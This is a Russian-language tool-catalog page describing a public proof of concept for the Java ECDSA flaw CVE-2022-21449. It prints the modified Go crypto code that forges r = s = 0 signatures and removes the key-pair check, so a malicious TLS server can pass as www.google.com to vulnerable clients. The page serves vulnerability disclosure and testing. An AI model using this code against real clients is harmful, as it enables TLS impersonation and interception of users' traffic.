Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 — концепт-доказательство, демонстрирующее его использование с клиентом, работающим на уязвимой версии Java, и злонамеренным TLS-сервером. | Kitploit
Инструменты/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьКриптографияТестирование на Проникновение
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 — концепт-доказательство, демонстрирующее его использование с клиентом, работающим на уязвимой версии Java, и злонамеренным TLS-сервером.

Репозиторий
1212426 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (также называемые Psychic Signatures в описании уязвимости Нилом Мэдденом) доказательство концепции, демонстрирующее его использование с уязвимым клиентом и вредоносным TLS-сервером.

Вредоносный сервер предоставляет действительную (по состоянию на 2022-04-20) цепочку сертификатов для www.google.com, которая содержит открытый ключ ECDSA (secp256r1). Однако пакет crypto/ecdsa был изменён для предоставления недействительной подписи с r = s = 0. Уязвимый клиент принимает эту недействительную подпись, что позволяет продолжить остальную часть рукопожатия TLS.

Помимо удалённых файлов *_test.go при сборке и исследовании, эти модификации библиотеки golang crypto были необходимы для вредоносного TLS-сервера. Их также можно найти, выполнив поиск/grep по CVE-2022-21449 в каталоге go/src.

Сборка

Требуется существующая установка golang, а также maven, затем выполните ./build.sh.

Протестировано на Ubuntu 20.04.4 LTS (WSL2) с OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Демонстрация

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Модификации библиотеки golang crypto

В crypto/ecdsa/ecdsa.go функция signGeneric была изменена следующим образом:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

А в crypto/tls/tls.go функция X509KeyPair была изменена для отключения проверок соответствия закрытого ключа открытому ключу сертификата X.509 для открытых ключей ECDSA:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Благодарности

  • Neil Madden: обнаруживший и раскрывший CVE-2022-21449, как подробно описано в его отличной статье.
  • Khaled Nassar: Данное доказательство концепции.
Скачать инструмент